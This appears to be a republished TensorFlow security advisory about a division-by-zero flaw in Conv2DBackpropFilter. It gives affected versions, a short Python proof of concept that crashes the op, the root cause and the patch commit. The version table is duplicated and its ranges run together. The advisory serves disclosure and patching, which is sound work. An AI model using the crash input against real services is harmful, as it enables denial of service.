| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can trigger a division by 0 in tf.raw_ops.Conv2DBackpropFilter:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,
padding='SAME', explicit_paddings=[],
data_format='NHWC', dilations=[1, 1, 1, 1])
This is because the implementation does a modulus operation where the divisor is controlled by the caller:
if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }
We have patched the issue in GitHub commit fca9874a9b42a2134f907d2fb46ab774a831404a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free